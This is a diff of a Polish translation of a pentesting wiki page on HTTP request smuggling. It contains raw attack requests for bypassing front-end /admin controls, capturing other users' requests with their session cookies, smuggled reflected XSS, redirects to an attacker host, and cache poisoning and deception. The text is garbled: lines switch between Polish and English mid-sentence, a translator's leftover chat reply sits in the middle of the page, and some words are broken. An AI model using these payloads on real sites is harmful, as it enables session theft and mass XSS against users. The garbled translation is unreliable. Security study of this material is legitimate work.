-Wpływ: żaden. Po prostu odsynchronizowałeś klienta od ramowania po stronie serwera.
+Impact: none. You just desynced your client from the server framing.

 > [!TIP]
-> Moduły Burp, które zależą od reuse/pipelining: Turbo Intruder z `requestsPerConnection>1`, Intruder z "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" lub "Enable connection reuse".
+> Burp modules that depend on reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".

-### Testy kontrolne: pipelining czy rzeczywiste desync?
+### Testy: pipelining czy rzeczywista desync?

 1. Wyłącz reuse i przetestuj ponownie
 - W Burp Intruder/Repeater wyłącz HTTP/1 reuse i unikaj "Send group in sequence".
 - W Turbo Intruder ustaw `requestsPerConnection=1` i `pipeline=False`.
- Jeśli zachowanie zniknie, prawdopodobnie był to client-side pipelining, chyba że masz do czynienia z connection-locked/stateful targetami lub client-side desync.
-2. Sprawdzenie zagnieżdżonej odpowiedzi HTTP/2
- Wyślij żądanie HTTP/2. Jeśli ciało odpowiedzi zawiera kompletną zagnieżdżoną odpowiedź HTTP/1, udowodniłeś backend parsing/desync bug zamiast czystego artefaktu po stronie klienta.
-3. Probe partial-requests dla connection-locked front-endów
- Niektóre FEs ponownie używają upstream BE connection tylko wtedy, gdy klient powtórnie użył swojej. Użyj partial-requests, aby wykryć zachowanie FE, które odzwierciedla reuse klienta.
- Zobacz PortSwigger "Browser‑Powered Desync Attacks" dla techniki connection-locked.
-4. Probe stanu (state probes)
- Szukaj różnic między pierwszym a kolejnymi żądaniami na tym samym połączeniu TCP (first-request routing/validation).
- Burp "HTTP Request Smuggler" zawiera connection‑state probe, który to automatyzuje.
-5. Wizualizuj ruch na łączu
- Użyj rozszerzenia Burp "HTTP Hacker", aby bezpośrednio sprawdzić konkatenację i ramowanie wiadomości podczas eksperymentów z reuse i partial requests.
+- Jeśli zachowanie znika, prawdopodobnie to klient‑side pipelining, chyba że masz do czynienia z connection‑locked/stateful targets lub client‑side desync.
+2. HTTP/2 nested-response check
+- Wyślij żądanie HTTP/2. Jeśli treść odpowiedzi zawiera kompletną zagnieżdżoną odpowiedź HTTP/1, udowodniłeś błąd parsowania/desync po stronie backendu, a nie czysty artefakt po stronie klienta.
+3. Partial-requests probe for connection-locked front-ends
+- Niektóre FE ponownie używają upstream BE connection tylko jeśli klient użył własnego. Użyj partial-requests, aby wykryć zachowanie FE, które odzwierciedla reuse klienta.
+- Zobacz PortSwigger "Browser‑Powered Desync Attacks" dla techniki connection‑locked.
+4. State probes
+- Szukaj różnic między pierwszym a kolejnymi żądaniami na tym samym połączeniu TCP (first‑request routing/validation).
+- Burp "HTTP Request Smuggler" zawiera connection‑state probe, które automatyzuje to sprawdzenie.
+5. Visualize the wire
+- Użyj rozszerzenia Burp "HTTP Hacker" do inspekcji konkatenacji i framowania wiadomości bezpośrednio podczas eksperymentów z reuse i partial requests.

-### Connection‑locked request smuggling (wymaga reuse)
+### Connection‑locked request smuggling (reuse-required)

-Niektóre front-endy ponownie używają upstream connection tylko wtedy, gdy klient powtórnie użyje swojego. Rzeczywiste smuggling istnieje, ale jest warunkowe względem client-side reuse. Aby rozróżnić i udowodnić wpływ:
- Udowodnij bug po stronie serwera
+Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:
+- Udowodnij błąd po stronie serwera
 - Użyj HTTP/2 nested-response check, lub
- Użyj partial-requests, aby pokazać, że FE ponownie używa upstream tylko wtedy, gdy robi to klient.
- Pokaż rzeczywisty wpływ, nawet jeśli bezpośrednie nadużycie socketów między użytkownikami jest zablokowane:
- Cache poisoning: zatruj shared caches przez desync, tak aby odpowiedzi wpływały na innych użytkowników.
- Internal header disclosure: odzwierciedl FE-injected headers (np. auth/trust headers) i pivot do auth bypass.
- Bypass FE controls: przemyć restricted paths/methods poza front-end.
- Host-header abuse: połącz z dziwactwami routingu hostów, aby pivotować do internal vhosts.
- Procedura operatora
- Odtwórz z kontrolowanym reuse (Turbo Intruder `requestsPerConnection=2`, lub Burp Repeater tab group → "Send group in sequence (single connection)").
- Następnie połącz to z primitives do cache/header-leak/control-bypass i zademonstruj cross-user lub authorization impact.
+- Użyj partial-requests, aby pokazać, że FE ponownie używa upstream tylko gdy klient to robi.
+- Pokaż rzeczywisty wpływ, nawet jeśli bezpośrednie cross-user socket abuse jest zablokowane:
+- Cache poisoning: poison shared caches via the desync so responses affect other users.
+- Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
+- Bypass FE controls: smuggle restricted paths/methods past the front-end.
+- Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
+- Operator workflow
+- Odtwórz przy kontrolowanym reuse (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)").
+- Następnie chain to cache/header-leak/control-bypass primitives i zademonstruj cross-user lub authorization impact.

-> Zobacz też connection‑state attacks, które są blisko powiązane, ale technicznie nie są smugglingiem:
+> See also connection‑state attacks, which are closely related but not technically request smuggling:
 >
 >{{#ref}}
 >../http-connection-request-smuggling.md
->
-{{#endref}}
+>{{#endref}}

-### Ograniczenia client‑side desync
+### Ograniczenia desync po stronie klienta

-Jeśli celujesz w browser-powered/client-side desync, złośliwe żądanie musi być wysyłalne przez przeglądarkę cross-origin. Triki z obfuskacją headerów nie zadziałają. Skoncentruj się na primitives osiągalnych przez navigation/fetch, a następnie pivotuj do cache poisoning, header disclosure lub bypass FE controls tam, gdzie downstream komponenty odzwierciedlają lub cache’ują odpowiedzi.
+If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.

-Dla kontekstu i end-to-end workflow:
+For background and end-to-end workflows:

 {{#ref}}
 browser-http-request-smuggling.md
 {{#endref}}

-### Narzędzia pomagające w decyzji
+### Narzędzia pomocne przy decyzji

- HTTP Hacker (Burp BApp Store): ujawnia low-level HTTP behavior i socket concatenation.
+- HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
 - "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: precyzyjna kontrola nad connection reuse przez `requestsPerConnection`.
- Burp HTTP Request Smuggler: zawiera connection‑state probe do wykrywania first‑request routing/validation.
+- Turbo Intruder: precise control over connection reuse via `requestsPerConnection`.
+- Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.

 > [!NOTE]
-> Traktuj efekty wymagające tylko reuse jako nieistotne, chyba że potrafisz udowodnić server-side desync i powiązać go z konkretnym wpływem (poisoned cache artifact, leaked internal header umożliwiający privilege bypass, bypassed FE control itp.).
+> Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).

 ## Abusing HTTP Request Smuggling

 ### Circumventing Front-End Security via HTTP Request Smuggling

-Czasami front-end proxies egzekwują security measures, analizując przychodzące żądania. Jednak te mechanizmy można obejść, wykorzystując HTTP Request Smuggling, co pozwala na nieautoryzowany dostęp do restricted endpoints. Na przykład dostęp do `/admin` może być zabroniony z zewnątrz, a front-end proxy aktywnie blokuje takie próby. Niemniej jednak proxy może nie sprawdzać embedded requests wewnątrz smuggled HTTP request, co tworzy lukę pozwalającą na obejście tych ograniczeń.
+Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing `/admin` might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.

-Poniżej przykłady ilustrujące, jak HTTP Request Smuggling może być użyte do ominięcia front-end security controls, szczególnie celując w ścieżkę `/admin`, która zazwyczaj jest chroniona przez front-end proxy:
+Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the `/admin` path which is typically guarded by the front-end proxy:

 **CL.TE Example**
 ```
@ -460,7 +459,7 @@ Content-Length: 10

 x=
 ```
-W ataku CL.TE nagłówek `Content-Length` jest wykorzystywany do żądania początkowego, natomiast kolejne osadzone żądanie korzysta z nagłówka `Transfer-Encoding: chunked`. Front-end proxy przetwarza początkowe żądanie `POST`, ale nie sprawdza osadzonego żądania `GET /admin`, co pozwala na nieautoryzowany dostęp do ścieżki `/admin`.
+W ataku CL.TE nagłówek `Content-Length` jest wykorzystywany dla żądania początkowego, podczas gdy kolejne osadzone żądanie używa nagłówka `Transfer-Encoding: chunked`. Proxy front-end przetwarza początkowe żądanie `POST`, ale nie sprawdza osadzonego żądania `GET /admin`, co pozwala na nieautoryzowany dostęp do ścieżki `/admin`.

 **TE.CL Przykład**
 ```
@ -478,13 +477,13 @@ a=x
 0

 ```
-Z kolei w ataku TE.CL początkowe żądanie `POST` używa `Transfer-Encoding: chunked`, a osadzone następne żądanie jest przetwarzane na podstawie nagłówka `Content-Length`. Podobnie jak w ataku CL.TE, front-end proxy pomija przemycone żądanie `GET /admin`, nieumyślnie umożliwiając dostęp do zastrzeżonej ścieżki `/admin`.
+Z kolei w ataku TE.CL początkowe żądanie `POST` używa `Transfer-Encoding: chunked`, a następne osadzone żądanie jest przetwarzane na podstawie nagłówka `Content-Length`. Podobnie jak w ataku CL.TE, proxy front-end pomija przemytowe żądanie `GET /admin`, nieumyślnie przyznając dostęp do zastrzeżonej ścieżki `/admin`.

 ### Odkrywanie przepisywania żądań przez front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>

-Aplikacje często używają **front-end server** do modyfikowania przychodzących żądań przed przekazaniem ich do **back-end server**. Typową modyfikacją jest dodanie nagłówków, takich jak `X-Forwarded-For: <IP of the client>`, aby przekazać IP klienta do back-endu. Zrozumienie tych modyfikacji może być kluczowe, ponieważ może ujawnić sposoby na **obejście zabezpieczeń** lub **odkrycie ukrytych informacji lub endpointów**.
+Aplikacje często korzystają z **serwera front-end**, który modyfikuje przychodzące żądania przed przekazaniem ich do serwera back-end. Typowa modyfikacja polega na dodaniu nagłówków, takich jak `X-Forwarded-For: <IP of the client>`, aby przekazać adres IP klienta do back-endu. Zrozumienie tych modyfikacji może być kluczowe, ponieważ może ujawnić sposoby na **omijanie zabezpieczeń** lub **odkrycie ukrytych informacji lub endpointów**.

-Aby zbadać, jak proxy zmienia żądanie, znajdź parametr POST, który back-end odzwierciedla w odpowiedzi. Następnie skonstruuj żądanie, używając tego parametru jako ostatniego, podobne do poniższego:
+Aby zbadać, jak proxy zmienia żądanie, znajdź parametr `POST`, który back-end odsyła w odpowiedzi. Następnie przygotuj żądanie, używając tego parametru na końcu, podobne do poniższego:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@ -501,19 +500,19 @@ Content-Length: 100

 search=
 ```
-W tej strukturze kolejne komponenty żądania są dopisywane po `search=`, który jest parametrem odzwierciedlanym w odpowiedzi. To odzwierciedlenie ujawni nagłówki kolejnego żądania.
+W tej strukturze kolejne składowe żądania są dopisywane po `search=`, który jest parametrem odzwierciedlanym w odpowiedzi. To odzwierciedlenie ujawni nagłówki kolejnego żądania.

-Ważne jest, aby dopasować nagłówek `Content-Length` zagnieżdżonego żądania do rzeczywistej długości treści. Zaleca się zaczynać od małej wartości i stopniowo ją zwiększać, ponieważ zbyt niska wartość obetnie odzwierciedlone dane, podczas gdy zbyt wysoka może spowodować błąd żądania.
+Ważne jest wyrównanie nagłówka `Content-Length` z rzeczywistą długością zagnieżdżonej treści. Najbezpieczniej zaczynać od małej wartości i stopniowo ją zwiększać, ponieważ zbyt niska wartość obetnie odzwierciedlone dane, natomiast zbyt wysoka może spowodować błąd żądania.

-Ta technika ma też zastosowanie w kontekście podatności TE.CL, ale żądanie powinno zakończyć się `search=\r\n0`. Niezależnie od znaków nowej linii, wartości zostaną dopisane do parametru search.
+Technika ta ma również zastosowanie w kontekście podatności TE.CL, ale żądanie powinno się zakończyć `search=\r\n0`. Niezależnie od znaków nowej linii, wartości zostaną dopisane do parametru search.

-Metoda ta służy głównie do zrozumienia modyfikacji żądań wykonywanych przez front-endowy proxy, zasadniczo przeprowadzając samodzielne dochodzenie.
+Metoda ta służy głównie do zrozumienia modyfikacji żądania wykonywanych przez front-endowy proxy, w praktyce pozwalając na samodzielne badanie.

 ### Przechwytywanie żądań innych użytkowników <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>

-Możliwe jest przechwycenie żądań następnego użytkownika przez dopisanie konkretnego żądania jako wartości parametru podczas operacji POST. Oto jak można to osiągnąć:
+Możliwe jest przechwycenie żądań następnego użytkownika przez dopisanie konkretnego żądania jako wartości parametru podczas operacji POST. Oto jak można to zrobić:

-Dopisując poniższe żądanie jako wartość parametru, możesz zapisać żądanie kolejnego klienta:
+Dopisując poniższe żądanie jako wartość parametru, możesz przechować żądanie kolejnego klienta:
 ```
 POST / HTTP/1.1
 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@ -533,18 +532,18 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

 csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
 ```
-W tym scenariuszu **comment parameter** ma służyć do przechowywania zawartości sekcji komentarzy posta na stronie dostępnej publicznie. W konsekwencji zawartość następnego żądania pojawi się jako komentarz.
+W tym scenariuszu **comment parameter** ma na celu przechowywanie treści w sekcji komentarzy posta na publicznie dostępnej stronie. W konsekwencji zawartość następnego żądania pojawi się jako komentarz.

-Ta technika ma jednak ograniczenia. Zazwyczaj przechwytuje dane tylko do delimitera parametru użytego w smuggled request. Dla URL-encoded przesyłania formularzy tym separatorem jest znak `&`. Oznacza to, że przechwycona zawartość żądania ofiary zatrzyma się na pierwszym `&`, który może nawet być częścią query string.
+Jednak ta technika ma ograniczenia. Zazwyczaj przechwytuje dane tylko do delimitera parametru użytego w przemyconym żądaniu. Dla formularzy przesyłanych jako URL-encoded tym separatorem jest znak `&`. Oznacza to, że przechwycona zawartość z żądania ofiary zatrzyma się na pierwszym `&`, który może być nawet częścią query string.

-Warto też zaznaczyć, że podejście to działa również przy podatności TE.CL. W takich przypadkach żądanie powinno kończyć się na `search=\r\n0`. Niezależnie od znaków nowej linii, wartości zostaną dopisane do parametru search.
+Dodatkowo warto zauważyć, że to podejście jest również wykonalne przy podatności TE.CL. W takich przypadkach żądanie powinno kończyć się na `search=\r\n0`. Niezależnie od znaków nowej linii, wartości zostaną dołączone do parametru search.

-### Wykorzystanie HTTP request smuggling do eksploatacji Reflected XSS
+### Wykorzystanie HTTP request smuggling do atakowania Reflected XSS

-HTTP Request Smuggling można wykorzystać do ataku na strony podatne na **Reflected XSS**, co daje znaczące korzyści:
+HTTP Request Smuggling można wykorzystać do ataku na strony podatne na **Reflected XSS**, co daje istotne korzyści:

 - Interakcja z docelowymi użytkownikami **nie jest wymagana**.
- Pozwala na eksploatację XSS w częściach żądania, które są **zwykle niedostępne**, na przykład nagłówki HTTP.
+- Pozwala na wykorzystanie XSS w częściach żądania, które są **zwykle niedostępne**, takich jak nagłówki HTTP.

 W scenariuszach, gdzie strona jest podatna na Reflected XSS poprzez nagłówek User-Agent, poniższy payload pokazuje, jak wykorzystać tę podatność:
 ```
@ -567,26 +566,26 @@ Content-Type: application/x-www-form-urlencoded

 A=
 ```
-This payload jest skonstruowany, aby wykorzystać podatność poprzez:
+Ten payload jest skonstruowany, aby wykorzystać podatność poprzez:

-1. Zainicjowanie `POST` requestu, pozornie typowego, z nagłówkiem `Transfer-Encoding: chunked`, wskazującym początek smugglingu.
+1. Rozpoczęcie `POST` żądania, pozornie typowego, z nagłówkiem `Transfer-Encoding: chunked`, wskazującym początek smuggling.
 2. Następnie `0`, oznaczające koniec chunked message body.
-3. Potem wprowadzany jest smuggled `GET` request, w którym nagłówek `User-Agent` zawiera skrypt `<script>alert(1)</script>`, wyzwalający XSS, gdy serwer przetworzy to kolejne żądanie.
+3. Potem wprowadzane jest smuggled `GET` request, gdzie nagłówek `User-Agent` zostaje wstrzyknięty ze skryptem, `<script>alert(1)</script>`, wywołując XSS, gdy serwer przetworzy to kolejne żądanie.

-Manipulując `User-Agent` przez smuggling, payload omija standardowe ograniczenia żądań, w ten sposób wykorzystując podatność Reflected XSS w niestandardowy, ale skuteczny sposób.
+Manipulując `User-Agent` przez smuggling, payload omija normalne ograniczenia żądań, w ten sposób wykorzystując podatność Reflected XSS w niestandardowy, ale skuteczny sposób.

 #### HTTP/0.9

 > [!CAUTION]
-> W przypadku, gdy zawartość użytkownika jest odzwierciedlona w odpowiedzi z **`Content-type`** takim jak **`text/plain`**, co zapobiega wykonaniu XSS. Jeśli serwer obsługuje **HTTP/0.9**, może być możliwe obejście tego!
+> W przypadku, gdy zawartość dostarczona przez użytkownika jest odzwierciedlana w odpowiedzi z **`Content-type`** takim jak **`text/plain`**, co zapobiega wykonaniu XSS. Jeśli serwer obsługuje **HTTP/0.9**, może być możliwe obejście tego!

-Wersja HTTP/0.9 występowała przed 1.0 i używa wyłącznie metody **GET** oraz **nie** zwraca nagłówków, jedynie treść odpowiedzi.
+Wersja HTTP/0.9 powstała przed 1.0 i używa tylko metody **GET** oraz **nie** zwraca **nagłówków**, tylko ciało odpowiedzi.

-W [**this writeup**](https://mizu.re/post/twisty-python) zostało to nadużyte przy użyciu request smuggling i **podatnego endpointu, który odpowie zawartością wprowadzonej przez użytkownika**, aby wsmugglować żądanie w HTTP/0.9. Parametr, który był odzwierciedlany w odpowiedzi, zawierał **fałszywą odpowiedź HTTP/1.1 (z nagłówkami i body)**, więc odpowiedź zawierała poprawny wykonywalny kod JS z `Content-Type` ustawionym na `text/html`.
+W [**this writeup**](https://mizu.re/post/twisty-python) użyto tego w ramach request smuggling oraz **podatnego endpointu, który zwraca w odpowiedzi dane wejściowe użytkownika**, aby zaszmuglować żądanie z HTTP/0.9. Parametr, który był odzwierciedlany w odpowiedzi, zawierał **fałszywą odpowiedź HTTP/1.1 (z nagłówkami i ciałem)**, więc odpowiedź zawierała prawidłowy wykonywalny kod JS z `Content-Type` ustawionym na `text/html`.

-### Wykorzystywanie przekierowań w obrębie serwisu przy użyciu HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
+### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>

-Aplikacje często przekierowują z jednego URL na inny, używając nazwy hosta z nagłówka `Host` w URL przekierowania. Jest to powszechne w serwerach WWW takich jak Apache i IIS. Na przykład żądanie katalogu bez końcowego ukośnika skutkuje przekierowaniem, które dodaje ten ukośnik:
+Aplikacje często przekierowują z jednego URL na inny, używając nazwy hosta z nagłówka `Host` w URL przekierowania. Jest to powszechne w serwerach takich jak Apache i IIS. Na przykład, żądanie folderu bez kończącego ukośnika powoduje przekierowanie, aby dodać ukośnik:
 ```
 GET /home HTTP/1.1
 Host: normal-website.com
@ -596,7 +595,7 @@ Skutkuje:
 HTTP/1.1 301 Moved Permanently
 Location: https://normal-website.com/home/
 ```
-Choć pozornie nieszkodliwe, zachowanie to można zmanipulować za pomocą HTTP request smuggling, aby przekierować użytkowników na zewnętrzną stronę. Na przykład:
+Pomimo pozornej nieszkodliwości, to zachowanie można zmanipulować przy użyciu HTTP request smuggling, aby przekierować użytkowników na zewnętrzną witrynę. Na przykład:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@ -610,7 +609,7 @@ GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: X
 ```
-To przemycone żądanie może spowodować, że następne przetworzone żądanie użytkownika zostanie przekierowane na stronę kontrolowaną przez atakującego:
+Ten smuggled request mógłby spowodować, że następne przetworzone żądanie użytkownika zostanie przekierowane do attacker-controlled website:
 ```
 GET /home HTTP/1.1
 Host: attacker-website.com
@ -622,17 +621,17 @@ Skutkuje:
 HTTP/1.1 301 Moved Permanently
 Location: https://attacker-website.com/home/
 ```
-W tym scenariuszu żądanie użytkownika o plik JavaScript zostaje przechwycone. Atakujący może potencjalnie skompromitować użytkownika, serwując złośliwy JavaScript w odpowiedzi.
+W tym scenariuszu żądanie użytkownika o plik JavaScript zostaje przechwycone. Atakujący może potencjalnie skompromitować użytkownika, serwując złośliwy kod JavaScript w odpowiedzi.

-### Wykorzystanie Web Cache Poisoning przez HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

-Web cache poisoning może zostać przeprowadzone, jeśli którykolwiek element **infrastruktury front-end buforuje zawartość**, zwykle w celu zwiększenia wydajności. Poprzez manipulację odpowiedzią serwera możliwe jest **zatrucie cache**.
+Web cache poisoning można przeprowadzić, jeśli którykolwiek komponent infrastruktury front-end buforuje zawartość, zazwyczaj w celu poprawy wydajności. Manipulując odpowiedzią serwera, możliwe jest zatruć pamięć podręczną.

-Wcześniej obserwowaliśmy, jak odpowiedzi serwera mogą zostać zmienione, aby zwracać błąd 404 (odwołaj się do [Basic Examples](#basic-examples)). Podobnie, można oszukać serwer, aby dostarczył zawartość /index.html w odpowiedzi na żądanie /static/include.js. W konsekwencji zawartość /static/include.js zostaje zastąpiona w pamięci podręcznej zawartością /index.html, co sprawia, że /static/include.js staje się niedostępny dla użytkowników, potencjalnie prowadząc do Denial of Service (DoS).
+Wcześniej widzieliśmy, jak odpowiedzi serwera można było zmodyfikować, aby zwracały błąd 404 (odnieś się do [Basic Examples](#basic-examples)). Podobnie można oszukać serwer, aby dostarczył zawartość /index.html w odpowiedzi na żądanie /static/include.js. W rezultacie zawartość /static/include.js zostaje zastąpiona w cache przez zawartość /index.html, czyniąc /static/include.js niedostępnym dla użytkowników i potencjalnie prowadząc do Denial of Service (DoS).

-Technika ta staje się szczególnie groźna, jeśli zostanie odkryta podatność typu Open Redirect lub jeśli istnieje on-site redirect prowadzący do open redirect. Takie podatności można wykorzystać, aby zastąpić zbuforowaną zawartość /static/include.js skryptem kontrolowanym przez atakującego, co de facto umożliwia szeroką skalę ataku Cross-Site Scripting (XSS) wobec wszystkich klientów żądających zaktualizowanego /static/include.js.
+Technika ta staje się szczególnie groźna, jeśli zostanie odkryta podatność typu Open Redirect lub jeśli istnieje on-site redirect prowadzący do open redirect. Takie podatności można wykorzystać do zastąpienia zbuforowanej zawartości /static/include.js skryptem kontrolowanym przez atakującego, co zasadniczo umożliwia masowy Cross-Site Scripting (XSS) wobec wszystkich klientów żądających zaktualizowanego /static/include.js.

-Poniżej znajduje się ilustracja wykorzystania cache poisoning w połączeniu z on-site redirect do open redirect. Celem jest zmiana zawartości cache dla /static/include.js tak, aby serwować kod JavaScript kontrolowany przez atakującego:
+Poniżej znajduje się ilustracja wykorzystania cache poisoning w połączeniu z on-site redirect prowadzącym do open redirect. Celem jest zmodyfikowanie zawartości cache dla /static/include.js tak, aby serwowała kod JavaScript kontrolowany przez atakującego:
 ```
 POST / HTTP/1.1
 Host: vulnerable.net
@ -650,20 +649,20 @@ Content-Length: 10

 x=1
 ```
-Zauważ osadzone żądanie skierowane do `/post/next?postId=3`. To żądanie zostanie przekierowane do `/post?postId=4`, wykorzystując **Host header value** do określenia domeny. Poprzez zmianę nagłówka **Host header**, atakujący może przekierować żądanie do swojej domeny (**on-site redirect to open redirect**).
+Zwróć uwagę na osadzony request kierujący do `/post/next?postId=3`. This request will be redirected to `/post?postId=4`, utilizing the **Host header value** to determine the domain. By altering the **Host header**, the attacker can redirect the request to their domain (**on-site redirect to open redirect**).

-Po udanym **socket poisoning**, należy zainicjować **GET request** do `/static/include.js`. To żądanie zostanie skażone przez wcześniejsze żądanie **on-site redirect to open redirect** i pobierze zawartość skryptu kontrolowanego przez atakującego.
+Po pomyślnym **socket poisoning**, a **GET request** for `/static/include.js` should be initiated. This request will be contaminated by the prior **on-site redirect to open redirect** request and fetch the content of the script controlled by the attacker.

-W konsekwencji każde żądanie do `/static/include.js` będzie serwować z pamięci podręcznej zawartość skryptu kontrolowanego przez atakującego, co skutecznie uruchomi szeroki atak XSS.
+W następstwie, każde request dla `/static/include.js` będzie serwować zawartość skryptu atakującego z cache, efektywnie uruchamiając szeroki atak XSS.

 ### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>

 > **Jaka jest różnica między web cache poisoning a web cache deception?**
 >
-> - W **web cache poisoning** atakujący powoduje, że aplikacja zapisuje złośliwą zawartość w cache, a ta zawartość jest serwowana z cache innym użytkownikom aplikacji.
-> - W **web cache deception** atakujący powoduje, że aplikacja zapisuje w cache wrażliwe treści należące do innego użytkownika, a następnie atakujący pobiera te treści z cache.
+> - W przypadku **web cache poisoning**, atakujący powoduje, że aplikacja zapisuje złośliwą zawartość w cache, a ta zawartość jest serwowana z cache innym użytkownikom aplikacji.
+> - W przypadku **web cache deception**, atakujący powoduje, że aplikacja zapisuje w cache pewną wrażliwą zawartość należącą do innego użytkownika, a następnie atakujący odczytuje tę zawartość z cache.

-Atakujący tworzy smuggled request, które pobiera wrażliwe treści specyficzne dla użytkownika. Rozważ następujący przykład:
+Atakujący tworzy smuggled request, który pobiera wrażliwą, specyficzną dla użytkownika zawartość. Rozważ następujący przykład:
 ```markdown
 `POST / HTTP/1.1`\
 `Host: vulnerable-website.com`\
@ -674,17 +673,17 @@ Atakujący tworzy smuggled request, które pobiera wrażliwe treści specyficzne
 `GET /private/messages HTTP/1.1`\
 `Foo: X`
 ```
-Jeśli ten smuggled request zatruje cache entry przeznaczony dla static content (np. `/someimage.png`), wrażliwe dane ofiary z `/private/messages` mogą zostać cached pod wpisem tego cache entry. W konsekwencji atakujący mógłby potencjalnie odzyskać te cached sensitive data.
+Jeżeli to przemycone żądanie zatruje wpis w cache przeznaczony dla treści statycznej (np. `/someimage.png`), wrażliwe dane ofiary z `/private/messages` mogą zostać zbuforowane pod wpisem cache tej statycznej treści. W konsekwencji atakujący mógłby potencjalnie odzyskać te zbuforowane wrażliwe dane.

-### Abusing TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Wykorzystywanie TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

-[**W tym poście**](https://portswigger.net/research/trace-desync-attack) zasugerowano, że jeśli serwer ma włączoną metodę TRACE, można ją potencjalnie wykorzystać za pomocą HTTP Request Smuggling. Dzieje się tak, ponieważ ta metoda odzwierciedla dowolny nagłówek wysłany do serwera jako część ciała odpowiedzi. Na przykład:
+[**In this post**](https://portswigger.net/research/trace-desync-attack) sugeruje, że jeśli serwer ma włączoną metodę TRACE, możliwe jest jej nadużycie przy pomocy HTTP Request Smuggling. Dzieje się tak, ponieważ ta metoda odzwierciedla każdy nagłówek wysłany do serwera w treści odpowiedzi. Na przykład:
 ```
 TRACE / HTTP/1.1
 Host: example.com
 XSS: <script>alert("TRACE")</script>
 ```
-Proszę wklej zawartość pliku src/pentesting-web/http-request-smuggling/README.md, którą chcesz przetłumaczyć na polski. Zwrócę przetłumaczony plik zachowując dokładnie wszystkie markdown/HTML, linki, ścieżki, tagi i fragmenty kodu bez zmian.
+Proszę wklej zawartość pliku README.md (src/pentesting-web/http-request-smuggling/README.md). Przetłumaczę tekst na polski, zachowując dokładnie strukturę Markdown/HTML oraz nie tłumacząc kodu, nazw technik, linków, tagów i ścieżek.
 ```
 HTTP/1.1 200 OK
 Content-Type: message/http
@ -695,15 +694,15 @@ Host: vulnerable.com
 XSS: <script>alert("TRACE")</script>
 X-Forwarded-For: xxx.xxx.xxx.xxx
 ```
-Przykładem nadużycia tego zachowania byłoby **smuggle first a HEAD request**. To żądanie zostanie obsłużone jedynie przy użyciu **nagłówków** odpowiedzi GET (**`Content-Type`** wśród nich). I **smuggle immediately after the HEAD a TRACE request**, które będzie **odzwierciedlać wysłane dane**.\
-Ponieważ odpowiedź HEAD będzie zawierać nagłówek `Content-Length`, **odpowiedź na żądanie TRACE zostanie potraktowana jako ciało odpowiedzi HEAD, w związku z czym w odpowiedzi zostaną odzwierciedlone dowolne dane**.\
-Ta odpowiedź zostanie wysłana do następnego żądania przez połączenie, więc można to **użyć w zbuforowanym pliku JS na przykład do wstrzyknięcia dowolnego kodu JS**.
+Przykładem, jak nadużyć tego zachowania, byłoby **najpierw przemycić żądanie HEAD**. To żądanie zostanie obsłużone zwróceniem tylko **nagłówków** odpowiedzi GET (**`Content-Type`** wśród nich). I przemycić **bezpośrednio po HEAD żądanie TRACE**, które będzie **odbijające wysłane dan**a.\
+Ponieważ odpowiedź HEAD będzie zawierać nagłówek `Content-Length`, **odpowiedź żądania TRACE zostanie potraktowana jako ciało odpowiedzi HEAD, w efekcie odzwierciedlając dowolne dane** w odpowiedzi.\
+Ta odpowiedź zostanie wysłana do następnego żądania na połączeniu, więc to **może być użyte na przykład w zbuforowanym pliku JS do wstrzyknięcia dowolnego kodu JS**.

